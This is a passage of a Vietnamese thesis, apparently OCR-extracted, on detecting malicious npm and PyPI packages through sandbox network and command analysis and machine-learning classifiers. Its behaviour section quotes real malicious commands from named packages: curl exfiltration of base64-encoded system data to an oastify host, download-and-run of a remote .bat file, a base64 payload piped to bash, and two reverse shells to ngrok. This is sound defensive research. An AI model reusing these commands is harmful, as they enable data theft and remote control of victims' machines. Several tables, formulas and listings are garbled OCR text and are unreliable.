4.2 PHAN TÍCH CÁC KET NOI MẠNG TẠO BỞI CÁC GOI PHAN MEM KET NOI MẠNG TAO BỞI CÁC GOI PHAN MEM
0.00% crates.io pm packagist pypi rubygems
8 Thời điểm import = Thời điểm cài dat
Tại thời điểm cài đặt và import mã nguồn, tỷ lệ phân tích thành công các gói mã nguồn của package-analysis cho thấy mức độ thành công ở giai đoạn cài đặt thấp nhất, dưới 50% Điều này chỉ ra rằng việc cài đặt các gói phần mềm Rust từ kho lưu trữ crates.io trong môi trường sandbox vẫn đang đối mặt với nhiều thách thức.
4.2 Phân tích các kết nối mang tạo bởi các gói phần mềm
Trong phần này, nhóm chúng tôi sẽ phân tích các địa chỉ IP và tên miền mà các gói phần mềm kết nối trong quá trình thực thi trong môi trường sandbox của phân tích gói.
4.2.1 Phân tích các địa chỉ IP được các gói phần mềm kết nối tới
Bảng 4.2 liệt kê 10 địa chỉ IP kết nối nhiều nhất với các gói phần mềm của từng kho mã nguồn mở trong quá trình import Tại thời điểm này, có nhiều kết nối đến địa chỉ loopback (::1, 127.0.0.1) và địa chỉ máy chủ DNS của Google (8.8.8.8).
Bảng 4.3 liệt kê 10 địa chỉ IP phổ biến nhất mà các gói phần mềm kết nối trong quá trình cài đặt Ngoài các địa chỉ cục bộ và máy chủ DNS của Google, nhóm chúng tôi phát hiện một số địa chỉ IP đáng ngờ và quyết định tiến hành phân tích chi tiết Cụ thể, chúng tôi thực hiện quét các địa chỉ IP này để thu thập thêm thông tin.
CHƯƠNG 4 PHÂN TÍCH VÀ KHAI PHÁ DỮ LIỆU
Top crates.io npm Packagist PyPI RubyGems
Bảng 4.2 Mười địa chỉ IP được kết nối tới nhiều nhất tại thời điểm import
Các ô được tô đậm là những địa chỉ IP bị dán nhãn độc hại hoặc nghi ngờ bởi ít nhất một hãng bảo mật trên VirusTotal.
Top crates.io npm Packagist PyPI RubyGems
Bảng 4.3 liệt kê mười địa chỉ IP phổ biến nhất mà các gói mã nguồn mở kết nối đến trong quá trình cài đặt VirusTotal, một công cụ hữu ích, cho phép người dùng kiểm tra tính độc hại của tệp tin, địa chỉ IP và tên miền Các mẫu đáng ngờ sẽ được quét bởi phần mềm phát hiện mã độc liên kết với VirusTotal.
Bảng 4.3 chỉ ra rằng trong số 10 địa chỉ IP hàng đầu của kho lưu trữ phần mềm mã nguồn mở PyPI, các địa chỉ IP 151.101.64.223, 151.101.0.223 và 185.199.108.133 có dấu hiệu nghi ngờ về tính độc hại Qua chương trình whois, hai địa chỉ IP này thuộc sở hữu của tổ chức Fastly, một công ty cung cấp dịch vụ điện toán đám mây Khi kiểm tra trên VirusTotal, cộng đồng đã đánh giá các địa chỉ IP này là độc hại, cụ thể hai địa chỉ IP được Xcitium dán nhãn là độc hại.
Verdict Cloud va bi dán nhãn đáng ngờ bởi Gridinsoft, trong khi địa chi IP thứ 3 bi gán nhãn độc hại bởi CyRadar và Xcitium Verdict Cloud.
Nhóm em đã thực hiện quét 37,423 địa chỉ IP trên VirusTotal Hình 4.2 cho thấy số lượng công cụ quét địa chỉ IP (security vendors) trên VirusTotal đã đánh dấu các địa chỉ IP này.
4.2 PHAN TÍCH CAC KET NOI MẠNG TẠO BỞI CÁC GÓI PHAN MEM
Number of flagged security vendors in Virus Total
Hình 4.2 minh họa số lượng công cụ quét mã độc đánh dấu các địa chỉ IP trên VirusTotal, cho thấy rằng phần lớn các địa chỉ IP đều bị đánh dấu bởi ít nhất một công cụ quét Đặc biệt, có ít nhất 1,417 địa chỉ IP bị đánh dấu bởi hai công cụ quét trở lên, cho thấy rằng số lượng công cụ quét đánh dấu một địa chỉ IP càng nhiều thì khả năng địa chỉ IP đó liên quan đến hành vi độc hại càng cao.
Biểu đồ 4.3 chỉ ra rằng phần lớn địa chỉ IP đến từ Hoa Kỳ, theo sau là Ấn Độ, Brazil và Trung Quốc Biểu đồ 4.4 và 4.5 cho thấy các gói độc hại kết nối đến các quốc gia như Đức và Brazil, cho thấy khả năng các máy chủ bị tấn công có thể nằm ở Châu Âu hoặc Nam Mỹ Tuy nhiên, các kẻ tấn công thường sử dụng mạng riêng ảo (VPN) hoặc máy chủ proxy để che giấu vị trí thực của mình, do đó, vị trí của các quốc gia này có thể chỉ ra nơi đặt máy chủ VPN mà họ đang sử dụng.
Biểu đồ 4.6 cho thấy số lượng các gói phần mềm kết nối ít nhất đến một địa chỉ
Các công cụ quét địa chỉ IP trong VirusTotal đã đánh dấu nhiều địa chỉ IP là độc hại Số lượng lớn các địa chỉ IP liên quan đến npm và PyPI cho thấy rằng kẻ tấn công chủ yếu nhắm đến hai kho lưu trữ phổ biến nhất này.
Khi nhìn vào Bang 4.5 nhóm em nhận thấy các gói crates.io không kết nối đến tên miền nào Ngoài ra tên miễn eommihl2qnal82o0.m.pipedream.net
2 UL ÂN TÍCH VÀ KHAI PHA D 2
II02°SAAEUOZBUIE*[-S9AA-TI9-€S"S2SEo[21-Jua8t-[eu8tsdde 81o°uouAd-tdAd 81o'9poo[edn1p*318 I02*[1A8'2u1'Ip28pa 81o'pe)soquouÁd'se[1J 6
| UIO3RMEUOZPUUEẸS VHO33M@RMO2IAðNHMApIỂS3[qO ệ1OssoldpiomspoOjuAOp tio3QNgMEpvoppoé — — HOMMH a)
81o'eqede'ueAeur'ode1 11o2'edo2se[no['pso[uAop (IO2'9918 JS'EISIId'SoITeuq IO2'Stde[8oo8'a8t1os L
Cô _DDDDDD Mosgmng Ô UOsQMNS 7 HHOAQRRB HHO39AN3S[O2UaHO ĐĂOOMAjMOAIAsNQNNEE39jqO ọ
19u*Á[JSEJ'ISS"[Eq0[3'Soseo[a1-Juo8t-[eu2tsdde I02'SId0[8008'98101S 1o'J9anqnq 81o's[apou woo'qnyis ide ¢
DSTI 3ilSMG2snqNmNiEMEI -0ÿqMuVEsqvEBonosloọ AD TUoSfqifBySMWW, co qn aoa
I02°10900212snqn18-s2afqo (IIO2'1u9uO212snqn)18'Aae1 IO2'qnH8'pẽo[apo 1I02'SIdbo[8oo8'a8t1o1s OT'S9]E12'X9puI €
Cễ 540SMGBR,NI 54ODRONMOMÁẨSNI, ệlolii9Bd WHOSjWaNMOaISNqNANMESIqO ogSgwESONEB Ê
81o'suio8Áqn1'xoput 81o'rdÁd S10'ys1Sevyoud-odar 81o's[uidu'Ánst8e1 OI'SO]E12 I swagsqny Id4d ysiseyoed widu orsayeia do[, 1ns) được cá ác gói ma nguôn m x ở kết nối tới nhié cu
(doma én mién x ai dat.
Sẽ EES os +s os bọ m = 68S
4.2 PHAN TÍCH CÁC KET NOI MẠNG TẠO BỞI CÁC GÓI PHAN MEM
= United States m India = Brazil = China = Others
Hình 4.3 Biểu đồ địa chi IP theo quốc gia của các gói lành tính va độc hại e USA ®Brazil s Germany s Others
Phân tích các câu lệnh
Độc hại và lạnh tính của các gói phần mềm độc hại đang ngày càng trở nên phức tạp hơn, không chỉ về số lượng mà còn về mức độ tinh vi.
Bảng 4.10 liệt kê mười câu lệnh phổ biến nhất trong các gói phần mềm lành tính, trong đó Js đứng đầu danh sách Câu lệnh grep, đứng thứ hai, thường được dùng để tìm kiếm và sửa đổi các mẫu văn bản trong tệp tin Ngoài ra, lệnh uname cũng xuất hiện trong cả gói phần mềm lành tính và độc hại, với chức năng lấy thông tin hệ thống như tên hệ điều hành Tuy nhiên, các gói phần mềm lành tính ít khi sử dụng các câu lệnh liên quan đến thực thi shell, như bash, mà thường được kẻ tấn công sử dụng để thực hiện các hành vi độc hại như đánh cắp thông tin và cài đặt mã độc.
4.3.1.1 Phân loại hành vi của các câu lệnh độc hại trong các gói độc hai
Các gói phần mềm độc hại thường kết hợp nhiều câu lệnh độc hại để thực hiện các hành vi như đánh cắp thông tin nhạy cảm và tải mã độc Để hiểu rõ bản chất và kỹ thuật của những câu lệnh này, nhóm chúng tôi đã thực hiện phân tích thủ công Qua đó, chúng tôi nhận thấy các hành vi độc hại bao gồm mã hóa dữ liệu, reverse shell và tải thực thi mã độc trên máy nạn nhân Dưới đây là phân loại các câu lệnh độc hại mà các gói phần mềm độc hại thực thi trong mẫu dữ liệu của chúng tôi.
Các gói độc hại thường sử dụng kỹ thuật mã hóa base64 để mã hóa và phát tán dữ liệu ra bên ngoài Một ví dụ điển hình là gói phần mềm “topcoderhomepage_3.0-1.0.2”, được minh họa trong Listing 4.1.
CHƯƠNG 4 PHÂN TÍCH VÀ KHAI PHÁ DỮ LIỆU
Listing 4.1: Mã hóa dữ liệu trong topcoderhomepage_ 3.0- 1.0.2 curl nhân:
-H "Hostname: $(hostname | base64)" \ -H "uname: $(uname -a | base64)" \
-H "Pwd: $(pwd | base64)" \ -d $(Is -la | base64) \ http ://tnk9 7 fd6lwpl oastify com
Tai tập lénh(script) độc hại từ bên ngoài và thực thi trên máy nạn nhân là một phương thức tấn công phổ biến Các gói độc hại, như "biscits-1.0.1", tải tập lệnh độc hại từ máy chủ do kẻ tấn công kiểm soát và sau đó thực hiện trên hệ thống của nạn nhân.
Listing 4.2: Tải tệp lệnh độc hai sau đó thực thi trong biscits-1.0.1 curl -s -o %temp%strings bat https ://cdn discordapp com/ attachments/11 55/strings bat
&& start /min cmd /c %temp%strings bat
Gói phần mềm độc hại sử dụng kỹ thuật mã hóa để làm rối các câu lệnh độc hại, chẳng hạn như base64 Khi được cài đặt trên máy của nạn nhân, các lệnh này sẽ được giải mã và thực thi Kỹ thuật này được minh họa trong Listing 4.3 của gói “biscits-1.0.1 1”.
Listing 4.3: Giải mã đoạn câu lệnh bi mã hóa sau đó thực thi trong calandraca-
Ilecho "cm0gL3RtcC9mO21rZmIm AXMC4yMC4zMC4yM
2 jggNDQOMyA+L3RtcC9mCg==" | base64 -d | bash
Để kiểm soát máy tính nạn nhân và nhận lệnh từ kẻ tấn công, các gói độc hại thực hiện lệnh reverse shell đến các tên miền do kẻ tấn công kiểm soát Hai gói phần mềm tiêu biểu cho hành vi này là “pmd-github-action-9.9.9” và “watchman-search-ui-1.0.0”, như được thể hiện trong Listing 4.4 và Listing 4.5.
4.3 PHAN TÍCH HANH VI CUA CAC GÓI PHAN MEM MÃ NGUON MỞ ĐỘC HAI VA LANH TÍNH
Listing 4.4: Reverse shell trong pmd-github-action-9.9.9 I|bash -i >& /dev/tcp/0.tcp.in.ngrok.io0/18121 O0>&1 i)
Listing 4.5: Reverse shell trong watchman-search-ui-1.0.0 export RHOST=’0.tcp.in.ngrok.io’; export RPORT688; python -c
"import socket ,os,pty;s=socket.socket(); s.connect ((os getenv( 'RHOST`'), int(os.getenv(’RPORT’ ))));
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty spawn(’/bin/sh’)’
4.3.2 Phân tích thông kê hành vi các gói độc hại
Bảng 4.11 trình bày thống kê về các hành vi độc hại được thực hiện bởi các gói phần mềm trong tập dữ liệu mà nhóm em thu thập được, đặc biệt là từ các kho lưu trữ npm.
Trong quá trình thu thập dữ liệu, nhóm em không tìm thấy thông tin về gói độc hại nào từ kho lưu trữ Packagist Tuy nhiên, theo Bảng 4.11, hầu hết các gói phần mềm đều kết nối tới một tên miền độc hại Các gói phần mềm trên npm và PyPI thực hiện một hoặc nhiều câu lệnh độc hại Đặc biệt, một phần ba các gói phần mềm lưu trữ trên npm không chỉ giao tiếp với các tên miền độc hại mà còn thực hiện các câu lệnh độc hại.
Gói phần mềm này kết nối đến tên miền độc hại, thực hiện nhiều câu lệnh độc hại từ crates.io phiên bản 1.0.0.
CHƯƠNG 4 PHÂN TÍCH VÀ KHAI PHÁ DỮ LIỆU z
Số lượng các gói wo oO ©
N _- - npm PyPl RubyGems crates.io
@ Kết nối tới tên miền độc hại
Ei Thực hiện câu lệnh độc hại
B Kết nối tới tên miền và thực hiện câu lệnh độc hai
Hình 4.7 Biểu đồ thể hiện phân bồ các hành vi độc hại trong tập dữ liệu các gói mã nguồn mở độc hại
Biểu đồ 4.7 minh họa sự phân phối hành vi của các gói phần mềm trong các kho, cho thấy rằng hành vi kết nối tới tên miền độc hại là phổ biến nhất Tiếp theo là hành vi kết nối tới tên miền miễn độc hại và thực hiện các lệnh độc hại trên máy nạn nhân Hành vi thực thi lệnh độc hại ít phổ biến hơn, chỉ xuất hiện ở các gói phần mềm npm và PyPI Đáng chú ý, các gói RubyGems và crates.io chỉ thực hiện kết nối tới các tên miền độc hại mà không thực thi lệnh trên máy nạn nhân.
Bảng 6.2 chỉ ra số lượng phiên bản và gói phần mềm độc hại được nhóm em thu thập, với mỗi gói trung bình có hơn hai phiên bản Dữ liệu cho thấy npm chiếm khoảng 90% tổng số gói và phiên bản, trở thành kho lưu trữ mã nguồn mở bị tấn công nhiều nhất, trong khi crates.io có số lượng gói và phiên bản thấp nhất Điều này nhấn mạnh sự cần thiết cho các nhà nghiên cứu bảo mật tập trung vào npm, đồng thời khuyến cáo các quản trị viên của kho lưu trữ này cần chú ý kiểm tra và bảo vệ hệ thống.
4.3 PHAN TÍCH HANH VI CUA CAC GÓI PHAN MEM MÃ NGUON MỞ ĐỘC HAI VA LANH TÍNH
Số lượng gói Số lượng phiên bản crates.io 1 10
Bảng 4.12 trình bày số lượng phiên bản và số lượng gói trong từng kho lưu trữ liên quan đến dữ liệu các gói độc hại Việc kiểm tra kỹ lưỡng các gói mã nguồn được đăng tải là cần thiết để đảm bảo an toàn cho người dùng.
4.3.3 Phân tích các kết noi mạng mà các gói kết nối tới
Các gói phần mềm mã nguồn mở độc hại thường kết nối đến các máy chủ bên ngoài, chủ yếu là các máy chủ độc hại do kẻ tấn công kiểm soát Mục đích của các kết nối này là nhận lệnh điều khiển hoặc phát tán thông tin đánh cắp Trong phần này, chúng tôi sẽ phân tích các tên miền và địa chỉ IP mà các gói phần mềm độc hại này kết nối tới.
Biểu đồ 4.8 minh họa sự phân bố số lượng công cụ quét tên miền (security vendors) trên VirusTotal, với các tên miền được đánh dấu trong dữ liệu nhóm thu thập từ phần 6.2 Đáng chú ý, hầu hết các tên miền đều bị ít nhất một công cụ quét đánh dấu, trong đó có ít nhất 50 tên miền bị hai công cụ quét trở lên xác nhận Sự gia tăng số lượng công cụ quét đánh dấu cho thấy mức độ tin cậy của tên miền đó là độc hại cao hơn.
Cac giải thuật hoc may 39
Giải thuật hồi quy tuyến tính (Linear Regression)
Giải thuật hồi quy tuyến tính là một phương pháp học có giám sát, dùng để dự đoán giá trị dựa trên hàm tuyến tính Mô hình này có dạng biểu thức ƒ(z) = wa + b, trong đó (+, b) là các tham số của mô hình Để xác định các giá trị tối ưu cho các tham số này, hàm chi phí J(w, b) được sử dụng, với hàm mất mát được thể hiện qua biểu thức 5.1.
0,8) = = Yi (fup(e) = y)? (5.1) 1 j=) Để tối ưu các tham số cho ham mất mát, sử dụng giải thuật Gradient Descent.
Giải thuật này hoạt động liên tục, cập nhật các tham số đồng thời với nhau thông qua các biểu thức b := b — œ “7?” và w = w — a2?) Trong đó, giá trị a đại diện cho tham số tốc độ học.
Giải thuật Logistic Regression
Giải thuật Logistic Regression là một phương pháp học máy có giám sát, chủ yếu được sử dụng để phân loại nhị phân với đầu ra là hai giá trị 0 và 1 Đây là một trong những giải thuật phổ biến và hiệu quả trong việc phân loại, nhờ vào sự đơn giản của nó Logistic Regression được phát triển dựa trên hồi quy tuyến tính, nhưng khác biệt ở chỗ nó sử dụng hàm sigmoid thay vì hàm tuyến tính, giúp cải thiện khả năng phân loại.
CHƯƠNG 5 CÁC GIẢI THUẬT HỌC MÁY f(z) = u+z +b (5.2) o(2) = Ty (5.3) 1
Ham Logistic Regression có dạng như trong biểu thức 5.4 Ham nay được biểu diễn ở hàm sigmoid biểu thức 5.5 ƒwð(#) = g(w-x + b) (5.4)
Hàm chi phí của hồi quy logistic, được biểu diễn qua biểu thức 5.6, có sự tương đồng với hàm hồi quy tuyến tính Tuy nhiên, điểm khác biệt chính là hàm mất mát, được thể hiện qua biểu thức 5.7, mang đặc trưng riêng so với hồi quy tuyến tính.
Loss(fu.o(%),u) = (=! log (fu (x)) = (L— 9) tos (1 = 2 (x9))
Giải thuật Gradient Descent là phương pháp tối ưu hóa để tìm các tham số tối ưu cho hàm mất mát Hai biểu thức 5.8 và 5.9 được lặp lại đồng thời, trong đó biểu thức 5.9 lặp lại giá trị j qua tất cả các đặc tính của dữ liệu Tỷ lệ học (learning rate) œ là một tham số quan trọng, và việc lựa chọn a hợp lý sẽ nâng cao hiệu quả của giải thuật.
CHƯƠNG 5 CÁC GIẢI THUẬT HỌC MÁY
Hai biểu thức 5.10 và 5.1 1 lần lượt là biểu thức đạo hàm cho biểu thức 5.8 và 5.9
0J(w,b) es ơ a Do Foal )) yl) (5.10) aJ(w,b) 1ơ ; 1 0)
Giải thuật cây quyết định (Decision Tree)
Giải thuật Decision Tree là một phương pháp học có giám sát, hoạt động dựa trên cấu trúc cây nhị phân Mỗi nút trong cây nhị phân đại diện cho một thuộc tính, được sử dụng để phân loại dữ liệu.
Việc lựa chọn thuộc tính làm điều kiện tại mỗi node được thực hiện thông qua chỉ số Information Gain Thuộc tính có chỉ số Information Gain cao nhất sẽ được chọn làm điều kiện phân loại cho node đó Hàm Information Gain được mô tả bởi biểu thức 5.12, trong đó (p4) là giá trị entropy được tính theo một biểu thức cụ thể.
Trong node 5.13, H(pt) và H(pPTM) đại diện cho giá trị entropy của nhánh con trái và phải Các tỷ lệ w' và ¿„Phải phản ánh số lượng đơn vị dữ liệu của từng nhánh con so với tổng số lượng đơn vị dữ liệu của cả hai nhánh.
Information Gain = H (p30) — („tế A (pt) + wd Eph) (5.12)
Công thức A (pi) = —pilogs(p1) — (1 — p1)logy(1 — pi) (5.13) thể hiện cách tính toán trong thuật toán Decision Tree Điều kiện dừng của thuật toán này phụ thuộc vào các yêu cầu đầu ra cụ thể, chẳng hạn như chiều sâu tối đa của cây, số lượng node tối đa và tối thiểu của cây.
1 Bắt đầu tại vị trí root node.
2 Tính toán Information gain trên mỗi các thuộc tính của dữ liệu Sau đó chọn thuộc tính có chỉ số Information gain cao nhất.
3 Chia tập dif liệu dựa trên đặc điểm thuộc tính vừa chọn làm hai nhánh con.
CHƯƠNG 5 CÁC GIẢI THUẬT HỌC MÁY
4 Tiếp tục lặp lại các bước trên cho đến khi một điều kiện dừng được thỏa. Ưu điểm của giải thuật này là nhanh, tiết kiệm thời gian Thich hợp sử dụng với các tập dữ liệu có cấu trúc bảng (dữ liệu ở dạng sheet) Nhược điểm là không phù hợp với tập dữ liệu phi cấu trúc (hình ảnh, âm thanh).
Giải thuật Random Forest
Giải thuật Random Forest là một phiên bản nâng cao của Decision Tree, trong đó nó chọn ngẫu nhiên một tập hợp con các thuộc tính từ toàn bộ dữ liệu Quá trình huấn luyện mô hình diễn ra lặp đi lặp lại nhiều lần trên toàn bộ tập dữ liệu để cải thiện độ chính xác và khả năng dự đoán.
Giải thuật Mạng nơ ron
Giải thuật này dựa trên cấu trúc mạng nơ-ron thần kinh của con người, được tổ chức thành nhiều lớp khác nhau, bao gồm lớp đầu vào, các lớp ẩn và lớp đầu ra.
Số lượng nơ-ron trong mỗi lớp và số lớp ẩn là yếu tố quan trọng trong việc tối ưu hóa hiệu quả của mô hình học máy Tùy thuộc vào yêu cầu của bài toán, việc lựa chọn cấu trúc này sẽ ảnh hưởng trực tiếp đến hiệu suất của mô hình.
Dữ liệu đầu ra từ các lớp trong mạng nơ-ron là một vector chứa các tham số kích hoạt, và vector này sẽ được sử dụng làm đầu vào cho các lớp tiếp theo Các hàm kích hoạt có thể bao gồm hồi quy tuyến tính, sigmoid, hoặc ReLU Mạng nơ-ron có ưu điểm là khả năng huấn luyện trên các tập dữ liệu cấu trúc như bảng và phi cấu trúc như hình ảnh và âm thanh Tuy nhiên, nhược điểm lớn là chi phí thời gian và tài nguyên cao để huấn luyện mô hình học máy.
Giải thuật K-Means
K-means là một trong những giải thuật học không giám sát Giải thuật này nhận đầu vào là tập dữ liệu không được gán nhãn, sau đó giải thuật xác định các giá trị biên để tự động phân loại các tập dữ liệu nay [40]
Các bước trong giải thuật K-means:
CHƯƠNG 5 CÁC GIẢI THUẬT HỌC MÁY
1 Chọn ngẫu nhiên các điểm centroids (đây là các điểm dùng để xác định trọng tâm của các điểm dữ liệu)
2 Gán các điểm trong tập dữ liệu đến điểm centroids gần nhất.
3 Di chuyển điểm centroids đến vị trí trọng tâm nhất giữa các điểm đã gán cho nó.
4 Tiếp tục lặp lại bước 2 và 3 cho đến khi các dif liệu được phân loại rõ ràng.
Ung dụng hoc máy trong phát hiện các gói phần mềm độc 6.1 6.2 6.3 6.4 hại 44Môi trường thực nghiệm
Thu thập các gói độchại
Lưu đồ 6.2 mô tả tổng quát quá trình thu thập dữ liệu Các mẫu độc hại được nhóm em thu thập từ 3 nguồn chính sau đây:
Tập dw liệu Kho lưu trữ phan mềm Số lượng các gói
Tập dữ liệu độc hai npm 1041
Tổng tập dữ liệu npm 2041 Bảng 6.1 Số lượng các gói phần mềm dùng trong ứng dụng học máy.
DỡIệU (an) Yer, ' Huan”) nuán luyện (Đánh gid
TU huấn luyện "| “# đặc trưng luyện MOP san”! = hì |
Dữ liệu ( Chia tập huan mô hình J -hình dang thd) luyện và tập | —ơ oF a kiém-tra ì Dữ liệu | _ Vector đặc trưng kiểm tra
Các gói phân mềm độc hại vả lành tính
Hình 6.1 Quy trình xây dựng mô hình học máy
Vulert cung cấp thông tin bảo mật cho các phần mềm mã nguồn mở từ các kho lưu trữ phổ biến như npm, PyPI, RubyGems và crates.io Ngoài ra, Vulert còn cung cấp dịch vụ API cho phép tích hợp vào các công cụ bảo mật khác, bao gồm việc tích hợp vào hệ thống giám sát mạng và quy trình phát triển phần mềm.
Vulners cung cấp một cơ sở dữ liệu phong phú về các lỗ hổng bảo mật cùng với thông tin liên quan, giúp người dùng dễ dàng tiếp cận và tìm hiểu Bên cạnh đó, Vulners cũng cung cấp dịch vụ API, cho phép tìm kiếm thông tin liên quan đến các lỗ hổng bảo mật phần mềm một cách hiệu quả.
OSV [44] là nền tảng chuyên tìm kiếm lỗ hổng bảo mật trong các mã nguồn mở, cung cấp dịch vụ API giúp người dùng truy cập thông tin về các lỗ hổng bảo mật liên quan đến các gói mã nguồn mở.
Sau khi xác định được tên các gói độc hại đã được đánh nhãn, nhóm tiến hành thu thập kết quả phân tích từ công cụ package-analysis Cụ thể, các kết quả này được lấy từ tập dataset của package-analysis trên Google BigQuery.
Nhóm em đã thu thập được tổng cộng 1165 gói độc hại từ các nguồn khác nhau, như thể hiện trong Bảng 6.2.
Trong nghiên cứu này, chúng tôi đã phân tích 113 gói từ PyPI, 1041 gói từ npm, 16 gói từ RubyGems và một số gói từ crates.io Trung bình, mỗi gói có hơn 2 phiên bản, cho thấy rằng kẻ tấn công đang nhắm đến người dùng của nhiều phiên bản khác nhau Đặc biệt, các gói npm chiếm khoảng 90% tổng số gói và phiên bản trong tập dữ liệu, vì vậy nhóm chúng tôi đã quyết định sử dụng các gói độc hại từ npm làm tập huấn luyện cho các mô hình học máy.
CHƯƠNG 6 UNG DUNG HOC MAY TRONG PHÁT HIỆN CÁC GÓI PHAN
, OSV RE (@ van T ` 8 E hành vi độc hại l Q Rs am
‘Thu thập thụng tin cỏc gúi phan i fFenicho lua tira) kho lưu trữ Ị ơ
Ti at kết quả mềm độc hai inti Punting —) > ruy xuất et qua
| ‘pm ¡ phân tích thô trên
,Thu thập thông tin các gói phan ; ¡ | Google BigQuery |
' mềm tải về nhiều nhất trên npm_ ` poi J!
X — 4 Yt!” ` 7 Cau lệnh “én miễn TP wi ế 8 NN Ị L_IsãPhận tích! >]viusrora |! JE
| - ơ thủ cụn g | uột tờn miờn, le Lựa chọn cỏc đặc ,
| Gánnhãn dữ liệu ¡ '! ị IP với ¡ tune olathe ẽ ' * VirusTotal } \ SP P )
Hình 6.2 Mô hình tổng quát thu thập dữ liệu
Số lượng gói Số lượng phiên bản
Bảng 6.2 trình bày thống kê về các gói mã nguồn độc hại, trong đó nhóm em đã thu thập các mô tả về tính độc hại của các phần mềm từ các nguồn Vulert, Vulners và OSV Bảng 4.11 hiển thị các hành vi phổ biến của các gói độc hại.
Thu thập các gói lànhtính
Nhóm nghiên cứu đã thu thập 1000 mẫu npm phổ biến nhất để phân tích các gói lành tính, trong khi các gói độc hại được sử dụng để huấn luyện các mô hình học máy Giả định rằng các mẫu được tải về nhiều thường ít có khả năng chứa mã độc, được hỗ trợ bởi nghiên cứu trước đó Mục tiêu của việc chọn số lượng mẫu này là để tạo ra một dữ liệu cân bằng với số lượng mẫu gói độc hại.
Sau khi thu thập các mẫu npm lành tính, nhóm chúng tôi đã tiến hành phân tích dữ liệu từ package-analysis trên Google BigQuery Tương tự như với các mẫu độc hại, chúng tôi đã thu thập các thuộc tính được mô tả trong Bảng 6.3.
6.3 TIỀN XỬ LÝ DỮ LIỆU mẫu lành tính.
6.3 Tiền xử lý dữ liệu
Sau khi thu thập dữ liệu, nhóm chúng tôi đã tiến hành trích xuất các đặc tính như thể hiện trong Bảng 6.3 Các dữ liệu phân tích thô được thu thập từ công cụ package-analysis trên Google.
Big Query là một hệ thống cơ sở dữ liệu cho phép truy vấn và phân tích dữ liệu hiệu quả Trong quá trình phân tích các gói phần mềm, nhóm chúng tôi thu thập các thông tin quan trọng như tên gói, phiên bản gói và tên kho lưu trữ.
* Câu lệnh sử dụng, tên miễn va địa chỉ IP.
Khi truy xuất dữ liệu từ Google BigQuery, nhóm em làm việc với các bảng cơ sở dữ liệu (datasets) và xuất dữ liệu dưới dạng CSV (Comma-Separated Values) để thuận tiện cho việc huấn luyện mô hình học máy Sau đó, nhóm em loại bỏ các cột không cần thiết và các dòng trùng lặp trong file CSV Cuối cùng, nhóm em chuyển đổi dữ liệu dạng chuỗi thành dữ liệu dạng số.
Nhóm em đã đếm số lượng câu lệnh duy nhất cho mỗi gói phần mềm và phiên bản, cũng như các tên miền và địa chỉ IP mà gói phần mềm kết nối tới, mà không tính đến dữ liệu bị khuyết Phương pháp này dựa trên kết quả phân tích dữ liệu trong chương 4, đặc biệt là từ Bảng 6.4 Cuối cùng, nhóm em đã loại bỏ các cột dữ liệu không được chọn làm đặc tính và lưu trữ dữ liệu cuối cùng dưới dạng CSV.
6.4 Trích xuất đặc tinh (features) của các gói phần mềm
Bảng 6.3 trình bày các đặc tính động quan trọng để mô tả các gói phần mềm mã nguồn mở, bao gồm các đặc tính như tên miền (URL), câu lệnh, địa chỉ IP và số lượng địa chỉ.
IP, URL được kết nối tới được chuyển thành các vector đặc tính trước khi được đưa vào các mô hình học máy.
Các đặc tính được chọn lựa nhằm phân biệt rõ ràng giữa hành vi của các gói mã nguồn mở độc hại và các gói mã nguồn mở lành tính Dựa trên các kết luận từ chương 4, nhóm chúng tôi đã quyết định lựa chọn những đặc tính này.
CHUONG 6 UNG DUNG HOC MAY TRONG PHAT HIEN CAC GOI PHAN
Dac tinh Mô tả Kiểu
URL URL được kết nỗi khi chạy gói Chuỗi văn bản
IP Dia chi IP được kết nối tới khi chạy gói Chuỗi văn ban
Sô lượng các URL Sô lượng URL duy nhât được các gói Sô thực phần mềm kết nối khi chạy gói
Bảng 6.3 Các đặc tính của các gói mã nguồn mở được sử dụng trong quá trình học máy
Tập dữliệu Số Số Số Số Số Số lượng lượng lượng lượng lượng lượng lệnh lệnh URLs URLs dia chỉ IP duy duy duy IP nhat nhat nhat
Bảng 6.4 Số lần xuất hiện các đặc tinh trong tap dif liệu
Quá trình encoding chuyển đổi dữ liệu phân loại (categorical data) thành dữ liệu số để áp dụng cho các thuật toán học máy Có nhiều phương thức chuyển đổi, trong đó ba phương thức phổ biến là one-hot encoding, target-mean encoding và frequency encoding Phương thức One-Hot Encoding gán các vector cho mỗi phân loại, trong đó một vector biểu thị sự xuất hiện của một đặc tính: giá trị 1 cho sự xuất hiện và 0 cho sự không xuất hiện.
Phương thức Target-mean Encoding thay thế các giá trị phân loại bằng giá trị trung bình của biến mục tiêu, trong khi phương thức Frequency Encoding đếm số lần xuất hiện của mỗi đặc tính Cả hai phương pháp này đều giúp cải thiện hiệu suất của mô hình học máy bằng cách chuyển đổi các biến phân loại thành dạng số.
Trong khóa luận này, nhóm em đã chọn sử dụng phương thức One-hot encoding do tính phổ biến và dễ sử dụng của nó Phương thức này được hỗ trợ mặc định bởi các thư viện học máy nổi tiếng như sklearn và tensorflow.
6.6 Huấn luyện các mô hình học máy (Training)
Trong bài thực nghiệm này, nhóm chúng tôi đã áp dụng các mô hình học máy từ thư viện sklearn Chúng tôi thực hiện mười phép kiểm tra chéo (ten cross-validation) để huấn luyện và đánh giá các mô hình học máy Để đánh giá hiệu quả quá trình huấn luyện và khả năng phân loại của các mô hình, chúng tôi sử dụng các phương pháp đánh giá cơ bản và phổ biến được trình bày trong Bảng 6.5.
Kết quả đánh giá các mô hình học máy được trình bày trong Bảng 6.6, dựa trên mười phép kiểm định chéo với nhiều thuật toán học máy từ thư viện sklearn Bảng này chỉ ra rằng hầu hết các mô hình học máy đều đạt được hiệu suất tốt.
CHƯƠNG 6 UNG DUNG HOC MAY TRONG PHÁT HIỆN CÁC GÓI PHAN
Các mô hình học máy cho thấy hiệu suất cao trong việc phát hiện phần mềm độc hại, với chỉ số Recall trung bình đạt 0.87, cho thấy khả năng phát hiện tốt và ít bỏ sót Chỉ số Precision trung bình là 0.88 cho thấy tỷ lệ phát hiện sai thấp, trong khi chỉ số AUC trung bình đạt 0.89 phản ánh khả năng phân loại xuất sắc của các mô hình Hơn nữa, chỉ số F1-score trung bình là 0.86 chứng tỏ rằng các mô hình này không chỉ ít bỏ sót các gói độc hại mà còn giảm thiểu cảnh báo sai.
Hiệu suất đạt kết quả tốt nhất là các mô hình HistGradientBoostingClassifier,
Classifier, BaggingClassifier va DecisionTreeClassifier Trong đó hai mô hình Hist-
